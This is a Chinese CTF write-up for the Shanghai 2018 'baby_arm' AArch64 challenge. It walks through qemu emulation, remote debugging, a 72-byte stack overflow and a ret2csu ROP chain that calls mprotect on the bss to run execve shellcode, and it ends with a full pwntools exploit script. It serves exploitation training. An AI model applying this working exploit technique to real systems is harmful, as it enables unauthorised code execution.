解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:ARM_ROP && mprotect函数(运行内存权限修改) && [[ARM_ROP_csu_init]]
获得shell或flag:ARM_Shellcode && 利用shellcode获得shell
学到的知识:
[[ARM_Pwn]]
[[使用gdb动态调试异架构程序]]
IDA远程调试异架构程序
ROPgadget的使用
ARM程序STP和LDP开辟栈帧恢复栈帧
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file ./shanghai2018_baby_arm_/shanghai2018_baby_arm
./shanghai2018_baby_arm_/shanghai2018_baby_arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=./shanghai2018_baby_arm_/shanghai2018_baby_arm
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 1./shanghai2018_baby_arm_/shanghai2018_baby_arm
libc版本:
wp借鉴:(25条消息) ARM PWN:Shanghai2018_baby_arm详细讲解_hollk的博客-CSDN博客
运行ARM架构的程序
先测试运行一下,检测一下程序后会发现这是一个ARM架构的动态链接程序,所以模拟运行一下:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn
Name:hello
hello
可以进行两次输入,由于题目还给出了两个ARM架构的libc文件所以也可以指定libc版本来运行arm程序
按照运行的报错就可以得出运行的目录需要改成lib文件夹下:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
qemu-aarch64: Could not open '/lib/ld-linux-aarch64.so.1': No such file or directory
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
./pwn: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory
需要将arm架构的libc文件移动程序下面这个文件结构就可以直接运行了
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ tree
.
├── lib
│ ├── ld-linux-aarch64.so.1
│ └── libc.so.6 --->(其实是改名后的libc.so_2.6)
└── pwn
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
Name:dasdsad
asdasdasd
程序可用信息收集
在分析一下伪代码:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
ssize_t len; // x0
init_0(); // 初始化缓冲区
write(1, "Name:", 5uLL);
len = read(0, &input1, 0x200uLL);
vlun(len);
return 0LL;
}
发现input1变量位于bss段
ssize_t vlun()
{
__int64 v1; // [xsp+10h] [xbp+10h] BYREF
return read(0, &v1, 0x200uLL);
}
发现变量V1存放在栈上但是该变量的长度小于可以向栈内写入的数据长度:
read()函数允许向这块栈空间输入512个字节
,大于0x48,所以该程序存在栈溢出漏洞!
获取可用的gadgets
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ ROPgadget --binary ./pwn > gadgets
ARM架构获取gadgets的方法:使用ROPgadget快速寻找arm64 pwn的rop链之ret2csu_如何找rop链-CSDN博客
查看可用函数:
开始利用漏洞
获取可利用的信息:
- 可在bss写入0x200个字节的数据
- 存在一个输入实现栈溢出
- 发现可用函数:mprotect
根据上面的可用信息就可有得出攻击路径了:
- 先向bss段写入shellcode
- 再利用栈溢出劫持PC寄存器来调用gadgets调用mportect函数开启bss段的可执行权限
- 最后在跳转到bss段执行shellcode代码
调试ARM程序开始分析
IDA远程调试ARM架构的程序
所需环境:
linux:qemu,gdb
windows:IDA
模拟执行时需要指定调试端口,23946是最好的:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ -g 23946 ./pwn
Name:
配置IDA:
配置好后直接在ida下个断点就可以开始调试!
选择附加后Linux里的程序才会开始运行:
GDB调试ARM架构的程序
使用qemu开启调试端口:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ -g 23946 ./pwn
再次使用gdb-multiarch开启调试:
┌──(root㉿kali)-[/home/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─# gdb-multiarch
GNU gdb (Debian 15.1-1) 15.1
...
pwndbg> set arch aarch64
The target architecture is set to "aarch64".
pwndbg> target remote 127.0.0.1:23946
设置调试架构:
set arch aarch64
链接远程端口:
target remote 127.0.0.1:23946
成功调试:
Python的pwntools库调用gdb进行调试
一键调试脚本:
import argparse
from pwn import *
from LibcSearcher import *
# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()
pwnfile = './pwn'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')
is_remote = args.r
is_debug = args.d
if is_remote:
sh = remote('node5.buuoj.cn', 26456)
else:
if is_debug:
sh = process(["qemu-aarch64", "-L", "./", "-g", "1234", "./pwn"])
else:
sh = process(["qemu-aarch64", "-L", "./", "./pwn"])
def mygdb():
if not is_remote and is_debug:
gdb.attach(sh, """target remote localhost:1234
b *0x400838
b *0x400808
""") # brva 0xe93 b *0x4008c0
mygdb()
sh.interactive()
调试命令:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ python pwnexp.py -d
分析写入bss段的shellcode
查看pwntools生成的Shellcode:
>>> print(shellcraft.aarch64.sh())
/* push b'/bin///sh\x00' */
/* Set x14 = 8299904519029482031 = 0x732f2f2f6e69622f */
mov x14, #25135 /*0x622f*/ b/
movk x14, #28265, lsl #16 /*0x6e69*/ ni
movk x14, #12079, lsl #0x20 /*0x2f2f*/ //
movk x14, #29487, lsl #0x30 /*0x732f*/ s/
mov x15, #104 /*0x68*/ h
stp x14, x15, [sp, #-16]!
/* execve(path='sp', argv=0, envp=0) */
add x0, sp, xzr
mov x1, xzr
mov x2, xzr
/* call execve() */
mov x8, #SYS_execve
svc 0
shellcode解析:
第一部分就是将b'/bin///sh\x00'
放入栈中,
mov x14, #25135 /*0x622f*/ b/
解释:mov将0x622f放入寄存器x14
movk x14, #28265, lsl #16 /*0x6e69*/ ni
movk x14, #12079, lsl #0x20 /*0x2f2f*/ //
movk x14, #29487, lsl #0x30 /*0x732f*/ s/
解释:movk它允许你将某个立即数加载到寄存器的特定位位置上,并保留寄存器的其他部分值。
movk 寄存器 , 立即数 , 算术操作 #操作位数
指定位置存放数据
b/ ni // s/
0~0x10 0x10~0x20 0x20~0x30 0x30~0x40
mov x15, #104 /*0x68*/ h
stp x14, x15, [sp, #-16]! 将x14,x15寄存器中的字符串放入栈中
解释:stp用于同时将两个寄存器的值存储到内存中
sp 是栈指针(Stack Pointer),它指向当前堆栈的顶部。
[sp, #-16]! 表示在存储数据之前,栈指针 sp 会先减去 `16` 字节,然后将数据存储在新位置上(这就是后缀 `!` 的含义,它表示更新后的地址会写回到 `sp` 中)。
`#-16` 表示栈指针将向下移动 16 字节,通常在 64 位架构中,每个寄存器是 8 字节,因此 16 字节可以存储两个寄存器的值。
第二部分就是给函数传参:
/* execve(path='sp', argv=0, envp=0) */
add x0, sp, xzr
mov x1, xzr
mov x2, xzr
ARM架构的传参方式:x0~x7
寄存器:xzr就是0
这里就是传参:
参数一:add x0, sp, xzr
参数二:mov x1, xzr
参数三:mov x2, xzr
第三部分就是调用系统调用了:
/* call execve() */
mov x8, #SYS_execve
svc 0
ARM架构的系统调用号存放寄存器是x8,x8作为系统调用号的存放位置
svc 0 类似于syscall
开始构造栈溢出ROP
开始计算第二部分的溢出长度
一步步调试就可以找到溢出的位置:
查看溢出的偏移长度:
pwndbg> cyclic 200 #可以生成一个长度200字节的字符串用来探测栈溢出目标的长度
pwndbg> cyclic -l 0x616161616161616a
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72
栈帧1是main函数的栈帧,栈帧2是main函数里面的函数调用产生的栈帧,发现返回地址存放在栈顶位置
开始伪造恶意栈帧
先了解arm程序的栈帧构造的汇编代码:
STP X29, X30, [SP,#var_50]! --开辟栈帧 0x50 并且保存 X29(栈帧地址)和X30(函数返回地址)
MOV X29, SP
...
LDP X29, X30, [SP+0x50+var_50],#0x50 --恢复栈帧 0x50 将栈顶的两个值恢复到x29 和x30,并更新栈指针SP。
RET
x29
是帧指针寄存器。x30
是返回地址寄存器(即 LR,链接寄存器)。STP
将寄存器中的值存储到栈顶LDP
将栈顶的两个值恢复到x29
和x30
,并更新栈指针SP
。RET
:从LR
寄存器中读取返回地址并跳回。
我们需要的恶意栈帧需要实现的功能调用mprotect函数开启bss段的权限然后再跳转到bss段执行shellcode,首先找到两段gadget:
这段gadget主要是将需要的参数传递给不同的寄存器:x19,x20,x21,x22,x23,x24
0x00000000004008cc :
ldp x19, x20, [sp, #0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给x20
ldp x21, x22, [sp, #0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给x22
ldp x23, x24, [sp, #0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给x24
ldp x29, x30, [sp], #0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30 sp寄存器+0x40
ret
这段gadget可以实现两次任意函数调用:
0x00000000004008ac :
ldr x3, [x21, x19, lsl #3] ; 从地址 [x21 + x19 << 3] 处加载值到 x3(x21 基址 + x19 的左移 3 位乘法偏移,用于取函数地址)
mov x2, x22 ; 将寄存器 x22 的值复制到寄存器 x2
mov x1, x23 ; 将寄存器 x23 的值复制到寄存器 x1
mov w0, w24 ; 将寄存器 w24 的值复制到寄存器 w0
add x19, x19, #1 ; 将 x19 加 1(可能用于循环计数)
blr x3 ; 跳转并链接到 x3 存储的地址处,调用函数
cmp x19, x20 ; 比较 x19 和 x20 的值(可能用于判断循环结束)
b.ne loc_4008AC ; 如果 x19 和 x20 不相等,则跳转到 0x4008AC(形成循环)
我们的payload:
payload2 = b'a'*overlen + p64(csu_down)
payload2 +=
b'aaaaapwn'
+ p64(csu_up)
+ p64(0) x19
+ p64(1) x20
+ p64(save_mprotect) x21
+ p64(0x7) x22
+ p64(0x1000) x23
+ p64(0x411000) x24
+ b'aaaaapwn'
+ p64(save_shellcode)
第一次调用:
ldr x3, [x21, x19, lsl #3] ; 必须将mprotect_plt的地址写到bss段,因为这里读取的数据方式是指针,只有这样才可以将 mprotect的函数地址写入x3
mov x2, x22 ; 将寄存器 x22 的值复制到寄存器 x2 参数3
mov x1, x23 ; 将寄存器 x23 的值复制到寄存器 x1 参数2
mov w0, w24 ; 将寄存器 w24 的值复制到寄存器 w0 参数1
add x19, x19, #1 ; 将 x19 加 1(可能用于循环计数)
blr x3 ; 跳转并链接到 x3 存储的地址处,调用函数 等于x86的call指令
成功调用权限开启函数:
运行后可以根据函数的返回值判断是否调用成功!X0是返回值的存放寄存器,返回值是0就代表函数调用成功,如果是-1(也就是0xffffffffffffffff)就代表函数调用失败
执行完成后又会经过判断,这里经过精心构造就不会进行跳转,继续进行下一步
0x4008c4 cmp x19, x20
0x4008c8 b.ne #0x4008ac <0x4008ac>
► 0x4008cc ldp x19, x20, [sp, #0x10]
0x4008d0 ldp x21, x22, [sp, #0x20]
0x4008d4 ldp x23, x24, [sp, #0x30]
0x4008d8 ldp x29, x30, [sp], #0x40 在这里将会将栈帧中的值写入x30,这样ret时候就可以跳转到任意地址
0x4008dc ret
继续执行后就会跳转到shellcode的位置:<0x411070>
将6个需要的参数放置到x19,x20,x21,x22,x23,x24
成功构造出恶意栈帧:
最后开始执行shellcode:
成功执行:
思路整理
本体存在两个输入,第一个输入可以向bss段写入数据,第二个输入可以实现栈溢出.
再分析题目时候发现存在mportect函数可以开启bss的执行权限,由于arm程序没有和pop和push一样的指令来连续调用函数,所以采用ARM架构下的csu_init的gadget(和x86的一样只是使用arm指令完成的),所以利用这个gadget可以实现两次调用!
第一次调用mprotect函数开启shellcode的可执行权限,再跳转到shellcode代码处!
脚本:
import argparse
from pwn import *
from LibcSearcher import *
# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()
pwnfile = './pwn'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')
is_remote = args.r
is_debug = args.d
if is_remote:
sh = remote('node5.buuoj.cn', 26456)
else:
if is_debug:
sh = process(["qemu-aarch64", "-L", "./", "-g", "1234", "./pwn"])
else:
sh = process(["qemu-aarch64", "-L", "./", "./pwn"])
def mygdb():
if not is_remote and is_debug:
gdb.attach(sh, """target remote localhost:1234
b *0x400854
""") # brva 0xe93 b *0x4008c0
mprotect_plt = elf.plt['mprotect']
csu_down = 0x4008CC
csu_up = 0x4008AC
overlen = 72
save_mprotect = 0x411068
save_shellcode = 0x411068 + 0x8
shellcode = asm(shellcraft.aarch64.sh())
mygdb()
payload1 = p64(mprotect_plt) + shellcode
sh.sendafter('Name:',payload1)
payload2 = b'a'*overlen + p64(csu_down)
payload2 += b'aaaaapwn' + p64(csu_up) + p64(0) + p64(1)
payload2 += p64(save_mprotect) + p64(0x7) + p64(0x1000) + p64(0x411000)
payload2 += b'aaaaapwn' + p64(save_shellcode)
sh.send(payload2)
sh.interactive()